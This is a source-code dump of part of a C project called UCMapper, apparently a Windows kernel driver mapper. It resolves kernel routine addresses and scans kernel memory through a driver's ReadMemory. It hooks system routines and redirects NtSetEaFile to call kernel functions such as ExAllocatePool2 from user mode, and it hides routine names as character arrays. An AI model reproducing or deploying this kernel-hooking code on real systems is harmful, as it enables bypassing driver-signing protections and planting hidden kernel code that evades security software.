248 | RtlDosPathNameToNtPathName_U(Source, &UnicodeString, NULL, NULL);
249 |
250 | InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);
251 | Status
252 | = NtOpenFile(&FileHandle, FILE_EXECUTE, &ObjectAttributes, &IoStatus, FILE_SHARE_READ, 0);
253 |
254 | if (Source[0] != L'\\')
255 | RtlFreeUnicodeString(&UnicodeString);
256 |
257 | if NT_ERROR (Status) {
258 | DEBUG_PRINT_NTSTATUS(Status);
259 | return Status;
260 | }
261 |
262 | InitializeObjectAttributes(&ObjectAttributes, NULL, (OBJ_CASE_INSENSITIVE), NULL, NULL);
263 | Status = NtCreateSection(
264 | &SectionHandle,
265 | SECTION_ALL_ACCESS,
266 | &ObjectAttributes,
267 | (PLARGE_INTEGER)NULL,
268 | PAGE_EXECUTE,
269 | SEC_IMAGE,
270 | FileHandle);
271 |
272 | if NT_ERROR (Status) {
273 | NtClose(FileHandle);
274 | DEBUG_PRINT_NTSTATUS(Status);
275 | return Status;
276 | }
277 |
278 | Status = NtMapViewOfSection(
279 | SectionHandle,
280 | NtCurrentProcess(),
281 | BaseAddress,
282 | 0,
283 | 0,
284 | NULL,
285 | ViewSize,
286 | ViewUnmap,
287 | 0,
288 | PAGE_EXECUTE);
289 |
290 | NtClose(SectionHandle);
291 | NtClose(FileHandle);
292 | if NT_ERROR (Status) {
293 | *BaseAddress = NULL;
294 | *ViewSize = 0;
295 |
296 | DEBUG_PRINT_NTSTATUS(Status);
297 | return Status;
298 | }
299 |
300 | return Status;
301 | }
302 |
303 | NTSTATUS RtlFileUnmap(_In_ PVOID BaseAddress)
304 | {
305 | return NtUnmapViewOfSection(NtCurrentProcess(), BaseAddress);
306 | }
307 |
308 | NTSTATUS RtlFileDelete(_In_ LPCWSTR FilePath)
309 | {
310 | NTSTATUS Status;
311 | UNICODE_STRING UnicodeString;
312 | OBJECT_ATTRIBUTES ObjectAttributes;
313 |
314 | if (FilePath[0] == L'\\')
315 | RtlInitUnicodeString(&UnicodeString, FilePath);
316 | else
317 | RtlDosPathNameToNtPathName_U(FilePath, &UnicodeString, NULL, NULL);
318 |
319 | InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);
320 | Status = NtDeleteFile(&ObjectAttributes);
321 |
322 | if (FilePath[0] != L'\\')
323 | RtlFreeUnicodeString(&UnicodeString);
324 |
325 | return Status;
326 | }
327 |
328 | NTSTATUS RtlFileToImage(_In_ LPCWSTR Source, _In_ LPCWSTR Destination)
329 | {
330 | NTSTATUS Status;
331 | PCHAR ImageBase, FileBase;
332 | SIZE_T FileSize, ImageSize;
333 | PIMAGE_NT_HEADERS ImageHeader;
334 | USHORT i;
335 | PIMAGE_SECTION_HEADER ImageSection;
336 |
337 | Status = RtlFileRead(Source, &FileBase, &FileSize);
338 | if NT_ERROR (Status) {
339 | DEBUG_PRINT_NTSTATUS(Status);
340 | return Status;
341 | }
342 |
343 | ImageHeader = RtlImageNtHeader(FileBase);
344 | if (ImageHeader == NULL) {
345 | Status = STATUS_INVALID_IMAGE_FORMAT;
346 | DEBUG_PRINT_NTSTATUS(Status);
347 | return Status;
348 | }
349 |
350 | ImageSize = ImageHeader->OptionalHeader.SizeOfImage;
351 | ImageBase = RtlAllocateMemory(ImageSize);
352 |
353 | //
354 | // Copy Header.
355 | //
356 |
357 | ImageSection = IMAGE_FIRST_SECTION(ImageHeader);
358 |
359 | RtlCopyMemory(ImageBase, FileBase, ImageSection->VirtualAddress);
360 | for (i = 0; i < ImageHeader->FileHeader.NumberOfSections; i += 1) {
361 | // clang-format off
362 | RtlCopyMemory(
363 | ImageBase + ImageSection[i].VirtualAddress,
364 | FileBase + ImageSection[i].PointerToRawData,
365 | ImageSection[i].SizeOfRawData);
366 | // clang-format on
367 | }
368 |
369 | Status = RtlFileWrite(Destination, ImageBase, ImageSize);
370 | if NT_ERROR (Status) {
371 | DEBUG_PRINT_NTSTATUS(Status);
372 | }
373 |
374 | RtlFreeMemory(FileBase);
375 | RtlFreeMemory(ImageBase);
376 | return Status;
377 | }
378 |
--------------------------------------------------------------------------------
/UCMapper/kernel.c:
--------------------------------------------------------------------------------
1 | #include "main.h"
2 |
3 | NTSTATUS MiResolveImportTable(IN OUT PKERNEL_IMPORT_TABLE Table)
4 | {
5 | #define RESOLVE_IMPORT_TABLE(Address) \
6 | Table->##Address = NULL; \
7 | { \
8 | *(PVOID*)(&Table->##Address) = (PVOID)GetSystemRoutineAddressA(#Address); \
9 | if (Table->##Address == NULL) { \
10 | DEBUG_PRINT("[!] Procedure %hs not found.", #Address); \
11 | return STATUS_PROCEDURE_NOT_FOUND; \
12 | } \
13 | }
14 |
15 | RtlSecureZeroMemory(Table, sizeof(KERNEL_IMPORT_TABLE));
16 | RESOLVE_IMPORT_TABLE(PsLoadedModuleList);
17 | RESOLVE_IMPORT_TABLE(PsInitialSystemProcess);
18 |
19 | RESOLVE_IMPORT_TABLE(ExAcquireResourceExclusiveLite);
20 | RESOLVE_IMPORT_TABLE(ExAllocatePool2);
21 | RESOLVE_IMPORT_TABLE(ExFreePoolWithTag);
22 | RESOLVE_IMPORT_TABLE(ExReleaseResourceLite);
23 | RESOLVE_IMPORT_TABLE(IoAllocateMdl);
24 | RESOLVE_IMPORT_TABLE(IoFreeMdl);
25 | RESOLVE_IMPORT_TABLE(KeDelayExecutionThread);
26 | RESOLVE_IMPORT_TABLE(KeSetEvent);
27 | RESOLVE_IMPORT_TABLE(KeWaitForSingleObject);
28 | RESOLVE_IMPORT_TABLE(memcpy);
29 | RESOLVE_IMPORT_TABLE(memset);
30 | RESOLVE_IMPORT_TABLE(MmAllocatePagesForMdlEx);
31 | RESOLVE_IMPORT_TABLE(MmCopyMemory);
32 | RESOLVE_IMPORT_TABLE(MmFreePagesFromMdl);
33 | RESOLVE_IMPORT_TABLE(MmGetSystemRoutineAddress);
34 | RESOLVE_IMPORT_TABLE(MmMapIoSpaceEx);
35 | RESOLVE_IMPORT_TABLE(MmMapLockedPagesSpecifyCache);
36 | RESOLVE_IMPORT_TABLE(MmMapViewInSystemSpace);
37 | RESOLVE_IMPORT_TABLE(MmProbeAndLockPages);
38 | RESOLVE_IMPORT_TABLE(MmProtectMdlSystemAddress);
39 | RESOLVE_IMPORT_TABLE(MmUnlockPages);
40 | RESOLVE_IMPORT_TABLE(MmUnmapIoSpace);
41 | RESOLVE_IMPORT_TABLE(MmUnmapLockedPages);
42 | RESOLVE_IMPORT_TABLE(MmUnmapViewInSystemSpace);
43 | RESOLVE_IMPORT_TABLE(ObfDereferenceObject);
44 | RESOLVE_IMPORT_TABLE(ObReferenceObjectByHandle);
45 | RESOLVE_IMPORT_TABLE(PsCreateSystemThread);
46 | RESOLVE_IMPORT_TABLE(PsGetThreadExitStatus);
47 | RESOLVE_IMPORT_TABLE(PsLookupProcessByProcessId);
48 | RESOLVE_IMPORT_TABLE(PsTerminateSystemThread);
49 | RESOLVE_IMPORT_TABLE(RtlAnsiStringToUnicodeString);
50 | RESOLVE_IMPORT_TABLE(RtlDeleteElementGenericTableAvl);
51 | RESOLVE_IMPORT_TABLE(RtlEqualUnicodeString);
52 | RESOLVE_IMPORT_TABLE(RtlFindExportedRoutineByName);
53 | RESOLVE_IMPORT_TABLE(RtlFreeUnicodeString);
54 | RESOLVE_IMPORT_TABLE(RtlImageDirectoryEntryToData);
55 | RESOLVE_IMPORT_TABLE(RtlImageNtHeader);
56 | RESOLVE_IMPORT_TABLE(RtlInitAnsiString);
57 | RESOLVE_IMPORT_TABLE(RtlInitUnicodeString);
58 | RESOLVE_IMPORT_TABLE(RtlLookupElementGenericTableAvl);
59 | RESOLVE_IMPORT_TABLE(ZwClose);
60 | RESOLVE_IMPORT_TABLE(ZwCreateSection);
61 | RESOLVE_IMPORT_TABLE(ZwOpenEvent);
62 | RESOLVE_IMPORT_TABLE(ZwOpenFile);
63 |
64 | #undef RESOLVE_IMPORT_TABLE
65 | return STATUS_SUCCESS;
66 | }
67 |
68 | // ========================================================================================================
69 | //
70 | // ========================================================================================================
71 |
72 | PVOID MiFindPattern(
73 | _In_reads_bytes_(Length) PVOID BaseAddress,
74 | _In_ SIZE_T Length,
75 | _In_ PUCHAR Pattern,
76 | _In_ PCHAR Mask)
77 | {
78 | ANSI_STRING v1;
79 | PVOID v2;
80 | BOOLEAN v3;
81 | SIZE_T i;
82 | PUCHAR v4;
83 | SIZE_T j;
84 |
85 | v2 = NULL;
86 | RtlInitString(&v1, Mask);
87 | for (j = 0; j < (Length - v1.Length); j += 1) {
88 | v3 = TRUE;
89 | v4 = (PUCHAR)BaseAddress + j;
90 |
91 | for (i = 0; i < v1.Length; i += 1) {
92 | if (v1.Buffer[i] == 'x' && Pattern[i] != v4[i]) {
93 | v3 = FALSE;
94 | break;
95 | }
96 | }
97 |
98 | if (v3 == TRUE) {
99 | v2 = (PVOID)((PCHAR)BaseAddress + j);
100 | break;
101 | }
102 | }
103 | return v2;
104 | }
105 |
106 | PVOID KiFindPattern(
107 | _In_ PDEVICE_DRIVER_OBJECT Driver,
108 | _In_ PVOID BaseAddress,
109 | _In_ SIZE_T Length,
110 | _In_ PUCHAR Pattern,
111 | _In_ PCHAR Mask)
112 | {
113 | ULONGLONG v1 = 0;
114 | PVOID v2 = RtlAllocateMemory(Length);
115 |
116 | if NT_SUCCESS (Driver->ReadMemory(Driver->DeviceHandle, (ULONGLONG)BaseAddress, v2, Length)) {
117 | v1 = (ULONGLONG)MiFindPattern(v2, Length, Pattern, Mask);
118 |
119 | if (v1 != 0) {
120 | v1 -= (ULONGLONG)v2;
121 | v1 += (ULONGLONG)BaseAddress;
122 | }
123 |
124 | RtlFreeMemory(v2);
125 | }
126 |
127 | return (PVOID)v1;
128 | }
129 |
130 | PVOID KiRelativeVirtualAddress(
131 | _In_ PDEVICE_DRIVER_OBJECT Driver,
132 | _In_ PVOID Address,
133 | _In_ LONG Offsets,
134 | _In_ SIZE_T Size)
135 | {
136 | LONG VA = 0;
137 | PVOID Resolved = 0;
138 |
139 | if NT_SUCCESS (Driver->ReadMemory(
140 | Driver->DeviceHandle,
141 | (ULONGLONG)Address + Offsets,
142 | &VA,
143 | sizeof(LONG))) {
144 | Resolved = (PVOID)((ULONGLONG)Address + Size + VA);
145 | }
146 |
147 | return Resolved;
148 | }
149 |
150 | // ========================================================================================================
151 | //
152 | // ========================================================================================================
153 |
154 | NTSTATUS KiExAllocatePool2(
155 | _In_ PDEVICE_DRIVER_OBJECT Driver,
156 | _In_ SIZE_T NumberOfBytes,
157 | _Out_ PULONGLONG Pointer)
158 | {
159 | NTSTATUS Status;
160 | ULONGLONG Address;
161 | UCHAR Storage[12];
162 |
163 | *Pointer = 0;
164 | // clang-format off
165 | WCHAR v1[] = { L'E', L'x', L'A', L'l', L'l', L'o', L'c', L'a', L't', L'e', L'P', L'o', L'o', L'l', L'2', L'\0' };
166 | // clang-format on
167 |
168 | Status = MmGetSystemRoutineAddressW(v1, &Address);
169 | if NT_ERROR (Status) {
170 | DEBUG_PRINT_NTSTATUS(Status);
171 | return Status;
172 | }
173 |
174 | Status = HookSystemRoutine(Driver, Address, Storage);
175 | if NT_ERROR (Status) {
176 | DEBUG_PRINT_NTSTATUS(Status);
177 | return Status;
178 | }
179 |
180 | typedef ULONGLONG (*ROUTINE_TYPE)(ULONGLONG, SIZE_T, ULONG);
181 | *Pointer = ((ROUTINE_TYPE)NtSetEaFile)(
182 | 0x0000000000000080UI64,
183 | NumberOfBytes,
184 | HandleToUlong(NtCurrentTeb()->ClientId.UniqueThread));
185 |
186 | UnhookSystemRoutine(Driver, Storage);
187 | return Status;
188 | }
189 |
190 | NTSTATUS KiExFreePool(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ ULONGLONG Pointer)
191 | {
192 | NTSTATUS Status;
193 | ULONGLONG Address;
194 | UCHAR Storage[12];
195 |
196 | // clang-format off
197 | WCHAR v1[] = { L'E', L'x', L'F', L'r', L'e', L'e', L'P', L'o', L'o', L'l', L'W', L'i', L't', L'h', L'T', L'a', L'g', L'\0' };
198 | // clang-format on
199 |
200 | Status = MmGetSystemRoutineAddressW(v1, &Address);
201 | if NT_ERROR (Status) {
202 | DEBUG_PRINT_NTSTATUS(Status);
203 | return Status;
204 | }
205 |
206 | Status = HookSystemRoutine(Driver, Address, Storage);
207 | if NT_ERROR (Status) {
208 | DEBUG_PRINT_NTSTATUS(Status);
209 | return Status;
210 | }
211 |
212 | typedef VOID (*ROUTINE_TYPE)(ULONGLONG, ULONG);
213 | ((ROUTINE_TYPE)NtSetEaFile)(Pointer, 0);
214 |
215 | UnhookSystemRoutine(Driver, Storage);
216 | return Status;
217 | }
218 |
219 | NTSTATUS KiExReleaseResourceLite(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ PVOID Resource)
220 | {
221 | NTSTATUS Status;
222 | ULONGLONG Address;
223 | UCHAR Storage[12];
224 |
225 | // clang-format off
226 | WCHAR v1[] = { L'E', L'x', L'R', L'e', L'l', L'e', L'a', L's', L'e', L'R', L'e', L's', L'o', L'u', L'r', L'c', L'e', L'L', L'i', L't', L'e', L'\0' };
227 | // clang-format on
228 |
229 | Status = MmGetSystemRoutineAddressW(v1, &Address);
230 | if NT_ERROR (Status) {
231 | DEBUG_PRINT_NTSTATUS(Status);
232 | return Status;
233 | }
234 |
235 | Status = HookSystemRoutine(Driver, Address, Storage);
236 | if NT_ERROR (Status) {
237 | DEBUG_PRINT_NTSTATUS(Status);
238 | return Status;
239 | }
240 |
241 | typedef VOID (*ROUTINE_TYPE)(PVOID);
242 | ((ROUTINE_TYPE)NtSetEaFile)(Resource);
243 |
244 | UnhookSystemRoutine(Driver, Storage);
245 | return Status;
246 | }
247 |
248 | NTSTATUS KiExAcquireResourceExclusiveLite(
249 | _In_ PDEVICE_DRIVER_OBJECT Driver,
250 | _In_ PVOID Resource,
251 | _In_ BOOLEAN Wait)
252 | {
253 | NTSTATUS Status;
254 | ULONGLONG Address;
255 | UCHAR Storage[12];
256 |
257 | WCHAR v1[] = {L'E', L'x', L'A', L'c', L'q', L'u', L'i', L'r', L'e', L'R', L'e',
258 | L's', L'o', L'u', L'r', L'c', L'e', L'E', L'x', L'c', L'l', L'u',
259 | L's', L'i', L'v', L'e', L'L', L'i', L't', L'e', L'\0'};
260 |
261 | Status = MmGetSystemRoutineAddressW(v1, &Address);
262 | if NT_ERROR (Status) {
263 | DEBUG_PRINT_NTSTATUS(Status);
264 | return Status;
265 | }
266 |
267 | Status = HookSystemRoutine(Driver, Address, Storage);
268 | if NT_ERROR (Status) {
269 | DEBUG_PRINT_NTSTATUS(Status);
270 | return Status;
271 | }
272 |
273 | typedef BOOLEAN (*ROUTINE_TYPE)(_In_ PVOID Resource, _In_ BOOLEAN Wait);
274 | Status = ((ROUTINE_TYPE)NtSetEaFile)(Resource, Wait) == TRUE ? STATUS_SUCCESS :
275 | STATUS_UNSUCCESSFUL;
276 |
277 | UnhookSystemRoutine(Driver, Storage);
278 | return Status;
279 | }
280 |
281 | NTSTATUS KiRtlDeleteElementGenericTableAvl(
282 | _In_ PDEVICE_DRIVER_OBJECT Driver,
283 | _In_ PRTL_AVL_TABLE Table,
284 | _In_ PVOID Buffer)
285 | {
286 | NTSTATUS Status;
287 | ULONGLONG Address;
288 | UCHAR Storage[12];
289 |
290 | WCHAR v1[] = {L'R', L't', L'l', L'D', L'e', L'l', L'e', L't', L'e', L'E', L'l',
291 | L'e', L'm', L'e', L'n', L't', L'G', L'e', L'n', L'e', L'r', L'i',
292 | L'c', L'T', L'a', L'b', L'l', L'e', L'A', L'v', L'l', L'\0'};
293 |
294 | Status = MmGetSystemRoutineAddressW(v1, &Address);
295 | if NT_ERROR (Status) {
296 | DEBUG_PRINT_NTSTATUS(Status);
297 | return Status;
298 | }
299 |
300 | Status = HookSystemRoutine(Driver, Address, Storage);
301 | if NT_ERROR (Status) {
302 | DEBUG_PRINT_NTSTATUS(Status);
303 | return Status;
304 | }
305 |
306 | typedef BOOLEAN (*ROUTINE_TYPE)(_In_ PRTL_AVL_TABLE Table, _In_ PVOID Buffer);
307 | Status
308 | = ((ROUTINE_TYPE)NtSetEaFile)(Table, Buffer) == TRUE ? STATUS_SUCCESS : STATUS_UNSUCCESSFUL;
309 |
310 | UnhookSystemRoutine(Driver, Storage);
311 | return Status;
312 | }
313 |
314 | NTSTATUS KiRtlLookupElementGenericTableAvl(
315 | _In_ PDEVICE_DRIVER_OBJECT Driver,
316 | _In_ PRTL_AVL_TABLE Table,
317 | _In_ PVOID Buffer,
318 | _Out_ PVOID* Pointer)
319 | {
320 | NTSTATUS Status;
321 | ULONGLONG Address;
322 | UCHAR Storage[12];
323 |
324 | *Pointer = 0;
325 |
326 | WCHAR v1[] = {L'R', L't', L'l', L'L', L'o', L'o', L'k', L'u', L'p', L'E', L'l',
327 | L'e', L'm', L'e', L'n', L't', L'G', L'e', L'n', L'e', L'r', L'i',
328 | L'c', L'T', L'a', L'b', L'l', L'e', L'A', L'v', L'l', L'\0'};
329 |
330 | Status = MmGetSystemRoutineAddressW(v1, &Address);
331 | if NT_ERROR (Status) {
332 | DEBUG_PRINT_NTSTATUS(Status);
333 | return Status;
334 | }
335 |
336 | Status = HookSystemRoutine(Driver, Address, Storage);
337 | if NT_ERROR (Status) {
338 | DEBUG_PRINT_NTSTATUS(Status);
339 | return Status;
340 | }
341 |
342 | typedef PVOID (*ROUTINE_TYPE)(_In_ PRTL_AVL_TABLE Table, _In_ PVOID Buffer);
343 | *Pointer = ((ROUTINE_TYPE)NtSetEaFile)(Table, Buffer);
344 |
345 | UnhookSystemRoutine(Driver, Storage);
346 | return Status;
347 | }
348 |
--------------------------------------------------------------------------------
/UCMapper/kernel.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifdef __cplusplus
4 | extern "C" {
5 | #endif
6 |
7 | #ifndef KERNEL_MODE_API
8 | #define KERNEL_MODE_API __stdcall
9 | #endif
10 |
11 | // ========================================================================================================
12 | //
13 | // ========================================================================================================
14 |
15 | PVOID MiFindPattern(
16 | _In_reads_bytes_(Length) PVOID BaseAddress,
17 | _In_ SIZE_T Length,
18 | _In_ PUCHAR Pattern,
19 | _In_ PCHAR Mask);
20 |
21 | PVOID KiFindPattern(
22 | _In_ PDEVICE_DRIVER_OBJECT Driver,
23 | _In_ PVOID BaseAddress,
24 | _In_ SIZE_T Length,
25 | _In_ PUCHAR Pattern,
26 | _In_ PCHAR Mask);
27 |
28 | PVOID KiRelativeVirtualAddress(
29 | _In_ PDEVICE_DRIVER_OBJECT Driver,
30 | _In_ PVOID Address,
31 | _In_ LONG Offsets,
32 | _In_ SIZE_T Size);
33 |
34 | // ========================================================================================================
35 | //
36 | // ========================================================================================================
37 |
38 | NTSTATUS KiExAllocatePool2(
39 | _In_ PDEVICE_DRIVER_OBJECT Driver,
40 | _In_ SIZE_T NumberOfBytes,
41 | _Out_ PULONGLONG Pointer);
42 |
43 | NTSTATUS KiExAcquireResourceExclusiveLite(
44 | _In_ PDEVICE_DRIVER_OBJECT Driver,
45 | _In_ PVOID Resource,
46 | _In_ BOOLEAN Wait);
47 |
48 | NTSTATUS KiRtlDeleteElementGenericTableAvl(
49 | _In_ PDEVICE_DRIVER_OBJECT Driver,
50 | _In_ PRTL_AVL_TABLE Table,
51 | _In_ PVOID Buffer);
52 |
53 | NTSTATUS KiRtlLookupElementGenericTableAvl(
54 | _In_ PDEVICE_DRIVER_OBJECT Driver,
55 | _In_ PRTL_AVL_TABLE Table,
56 | _In_ PVOID Buffer,
57 | _Out_ PVOID* Pointer);
58 |
59 |
60 | NTSTATUS KiExFreePool(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ ULONGLONG Pointer);
61 | NTSTATUS KiExReleaseResourceLite(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ PVOID Resource);
62 |
63 |
64 | //
65 | // Prototype
66 | //
67 |
68 | typedef struct _MDL* PMDL;
69 | typedef struct _EPROCESS* PEPROCESS;
70 |
71 | typedef struct _MM_COPY_ADDRESS
72 | {
73 | union
74 | {
75 | PVOID VirtualAddress;
76 | PHYSICAL_ADDRESS PhysicalAddress;
77 | };
78 | } MM_COPY_ADDRESS, *PMMCOPY_ADDRESS;
79 |
80 | typedef enum _MEMORY_CACHING_TYPE
81 | {
82 | MmNonCached,
83 | MmCached,
84 | MmWriteCombined,
85 | MmHardwareCoherentCached,
86 | MmNonCachedUnordered,
87 | MmUSWCCached,
88 | MmMaximumCacheType,
89 | MmNotMapped
90 | } MEMORY_CACHING_TYPE;
91 |
92 | typedef enum _MM_PAGE_PRIORITY
93 | {
94 | LowPagePriority,
95 | NormalPagePriority = 16,
96 | HighPagePriority = 32
97 | } MM_PAGE_PRIORITY;
98 |
99 | typedef enum _LOCK_OPERATION
100 | {
101 | IoReadAccess,
102 | IoWriteAccess,
103 | IoModifyAccess
104 | } LOCK_OPERATION;
105 |
106 | #define MdlMappingNoWrite 0x80000000 // Create the mapping as nowrite
107 | #define MdlMappingNoExecute 0x40000000 // Create the mapping as noexecute
108 | #define MdlMappingWithGuardPtes 0x20000000 // Create the mapping with guard PTEs
109 |
110 |
111 | typedef NTSTATUS (*ZwClose_t)(HANDLE);
112 | typedef NTSTATUS (*PsGetThreadExitStatus_t)(_In_ PVOID Thread);
113 | typedef LONG_PTR (*ObfDereferenceObject_t)(_In_ PVOID Object);
114 | typedef PVOID (*ExAllocatePool2_t)(_In_ ULONGLONG Flags, _In_ SIZE_T NumberOfBytes, _In_ ULONG Tag);
115 | typedef void (*ExFreePoolWithTag_t)(PVOID P, ULONG Tag);
116 | typedef void (*MmFreePagesFromMdl_t)(PVOID MemoryDescriptorList);
117 | typedef PIMAGE_NT_HEADERS (*RtlImageNtHeader_t)(_In_ PVOID Base);
118 | typedef NTSTATUS (*PsTerminateSystemThread_t)(NTSTATUS ExitStatus);
119 | typedef NTSTATUS (*PDRIVER_INITIALIZE)(PDRIVER_OBJECT, PUNICODE_STRING);
120 | typedef PVOID (*RtlFindExportedRoutineByName_t)(_In_ PVOID BaseOfImage, _In_ PSTR RoutineName);
121 | typedef void (*RtlFreeUnicodeString_t)(PUNICODE_STRING UnicodeString);
122 | typedef PVOID (*MmGetSystemRoutineAddress_t)(PUNICODE_STRING SystemRoutineName);
123 | typedef NTSTATUS (*MmProtectMdlSystemAddress_t)(PVOID MemoryDescriptorList, ULONG NewProtect);
124 | typedef void (*IoFreeMdl_t)(PVOID Mdl);
125 | typedef VOID (*MmUnmapLockedPages_t)(_In_ PVOID BaseAddress, _Inout_ PMDL MemoryDescriptorList);
126 | typedef VOID (*MmUnlockPages_t)(_Inout_ PMDL MemoryDescriptorList);
127 | typedef LONG (*KeSetEvent_t)(IN OUT PRKEVENT Event, IN KPRIORITY Increment, IN BOOLEAN Wait);
128 | typedef NTSTATUS (*MmMapViewInSystemSpace_t)(IN PVOID Section, PVOID* MappedBase, PSIZE_T ViewSize);
129 | typedef NTSTATUS (*MmUnmapViewInSystemSpace_t)(PVOID MappedBase);
130 | typedef NTSTATUS (*PsLookupProcessByProcessId_t)(IN HANDLE ProcessId, OUT PEPROCESS* Process);
131 | typedef void (*MmUnmapIoSpace_t)(IN PVOID BaseAddress, IN SIZE_T NumberOfBytes);
132 |
133 | typedef PVOID (*IoAllocateMdl_t)(
134 | __drv_aliasesMem PVOID VirtualAddress,
135 | ULONG Length,
136 | BOOLEAN SecondaryBuffer,
137 | BOOLEAN ChargeQuota,
138 | PVOID Irp);
139 |
140 | typedef BOOLEAN (*RtlEqualUnicodeString_t)(
141 | PCUNICODE_STRING String1,
142 | PCUNICODE_STRING String2,
143 | BOOLEAN CaseInSensitive);
144 |
145 | typedef NTSTATUS (*RtlAnsiStringToUnicodeString_t)(
146 | PUNICODE_STRING DestinationString,
147 | PCANSI_STRING SourceString,
148 | BOOLEAN AllocateDestinationString);
149 |
150 | typedef VOID (
151 | *RtlInitAnsiString_t)(PANSI_STRING DestinationString, __drv_aliasesMem PCSZ SourceString);
152 |
153 | typedef void*(
154 | __cdecl* memset_t)(_Out_writes_bytes_all_(_Size) void* _Dst, _In_ int _Val, _In_ size_t _Size);
155 |
156 | typedef void* (*memcpy_t)(
157 | _Out_writes_bytes_all_(_Size) void* _Dst,
158 | _In_reads_bytes_(_Size) const void* _Src,
159 | _In_ size_t _Size);
160 |
161 | typedef NTSTATUS (*PsCreateSystemThread_t)(
162 | _Out_ PHANDLE ThreadHandle,
163 | _In_ ULONG DesiredAccess,
164 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
165 | _In_opt_ HANDLE ProcessHandle,
166 | _Out_opt_ PCLIENT_ID ClientId,
167 | _In_ PKSTART_ROUTINE StartRoutine,
168 | _In_opt_ _When_(return >= 0, __drv_aliasesMem) PVOID StartContext);
169 |
170 | typedef PVOID (*MmMapLockedPagesSpecifyCache_t)(
171 | _Inout_ PVOID MemoryDescriptorList,
172 | _In_ __drv_strictType(KPROCESSOR_MODE / enum _MODE, __drv_typeConst) KPROCESSOR_MODE AccessMode,
173 | _In_ __drv_strictTypeMatch(__drv_typeCond) MEMORY_CACHING_TYPE CacheType,
174 | _In_opt_ PVOID RequestedAddress,
175 | _In_ ULONG BugCheckOnFailure,
176 | _In_ ULONG Priority);
177 |
178 | typedef NTSTATUS (*KeWaitForSingleObject_t)(
179 | _In_ _Points_to_data_ PVOID Object,
180 | _In_ _Strict_type_match_ KWAIT_REASON WaitReason,
181 | _In_ __drv_strictType(KPROCESSOR_MODE / enum _MODE, __drv_typeConst) KPROCESSOR_MODE WaitMode,
182 | _In_ BOOLEAN Alertable,
183 | _In_opt_ PLARGE_INTEGER Timeout);
184 |
185 | typedef NTSTATUS (*KeDelayExecutionThread_t)(
186 | _In_ KPROCESSOR_MODE WaitMode,
187 | _In_ BOOLEAN Alertable,
188 | _In_ PLARGE_INTEGER Interval);
189 |
190 | typedef PVOID (*MmAllocatePagesForMdlEx_t)(
191 | PHYSICAL_ADDRESS LowAddress,
192 | PHYSICAL_ADDRESS HighAddress,
193 | PHYSICAL_ADDRESS SkipBytes,
194 | SIZE_T TotalBytes,
195 | MEMORY_CACHING_TYPE CacheType,
196 | ULONG Flags);
197 |
198 | typedef PVOID (*RtlImageDirectoryEntryToData_t)(
199 | _In_ PVOID BaseOfImage,
200 | _In_ BOOLEAN MappedAsImage,
201 | _In_ USHORT DirectoryEntry,
202 | _Out_ PULONG Size);
203 |
204 | typedef NTSTATUS (*ObReferenceObjectByHandle_t)(
205 | _In_ HANDLE Handle,
206 | _In_ ACCESS_MASK DesiredAccess,
207 | _In_opt_ POBJECT_TYPE ObjectType,
208 | _In_ KPROCESSOR_MODE AccessMode,
209 | _Out_ PVOID* Object,
210 | _Out_opt_ PVOID HandleInformation);
211 |
212 | typedef VOID (*MmProbeAndLockPages_t)(
213 | _Inout_ PMDL MemoryDescriptorList,
214 | _In_ KPROCESSOR_MODE AccessMode,
215 | _In_ LOCK_OPERATION Operation);
216 |
217 | typedef NTSTATUS (*ZwOpenEvent_t)(
218 | OUT PHANDLE EventHandle,
219 | IN ACCESS_MASK DesiredAccess,
220 | IN POBJECT_ATTRIBUTES ObjectAttributes);
221 |
222 | typedef NTSTATUS (*ZwCreateSection_t)(
223 | OUT PHANDLE SectionHandle,
224 | IN ACCESS_MASK DesiredAccess,
225 | IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,
226 | IN OPTIONAL PLARGE_INTEGER MaximumSize,
227 | IN ULONG SectionPageProtection,
228 | IN ULONG AllocationAttributes,
229 | IN OPTIONAL HANDLE FileHandle);
230 |
231 | typedef NTSTATUS (*ZwOpenFile_t)(
232 | OUT PHANDLE FileHandle,
233 | IN ACCESS_MASK DesiredAccess,
234 | IN POBJECT_ATTRIBUTES ObjectAttributes,
235 | OUT PIO_STATUS_BLOCK IoStatusBlock,
236 | IN ULONG ShareAccess,
237 | IN ULONG OpenOptions);
238 |
239 | typedef NTSTATUS (*MmCopyMemory_t)(
240 | IN PVOID TargetAddress,
241 | IN MM_COPY_ADDRESS SourceAddress,
242 | IN SIZE_T NumberOfBytes,
243 | IN ULONG Flags,
244 | OUT PSIZE_T NumberOfBytesTransferred);
245 |
246 | typedef PVOID (*MmMapIoSpaceEx_t)(
247 | IN PHYSICAL_ADDRESS PhysicalAddress,
248 | IN SIZE_T NumberOfBytes,
249 | IN ULONG Protect);
250 |
251 | typedef VOID (*RtlInitUnicodeString_t)(
252 | OUT PUNICODE_STRING DestinationString,
253 | IN OPTIONAL __drv_aliasesMem PCWSTR SourceString);
254 |
255 | typedef BOOLEAN (*ExAcquireResourceExclusiveLite_t)(
256 | _Inout_ _Requires_lock_not_held_(*_Curr_)
257 | _When_(return != 0, _Acquires_exclusive_lock_(*_Curr_)) PERESOURCE Resource,
258 | _In_ _Literal_ BOOLEAN Wait);
259 |
260 | typedef PVOID (*RtlLookupElementGenericTableAvl_t)(_In_ PRTL_AVL_TABLE Table, _In_ PVOID Buffer);
261 | typedef BOOLEAN (*RtlDeleteElementGenericTableAvl_t)(_In_ PRTL_AVL_TABLE Table, _In_ PVOID Buffer);
262 | typedef VOID (*ExReleaseResourceLite_t)(_Inout_ PERESOURCE Resource);
263 |
264 | //
265 | // Structure Data Type
266 | //
267 |
268 | typedef struct _KERNEL_IMPORT_TABLE
269 | {
270 | PLIST_ENTRY PsLoadedModuleList;
271 | PEPROCESS PsInitialSystemProcess;
272 |
273 | ExAcquireResourceExclusiveLite_t ExAcquireResourceExclusiveLite;
274 | ExAllocatePool2_t ExAllocatePool2;
275 | ExFreePoolWithTag_t ExFreePoolWithTag;
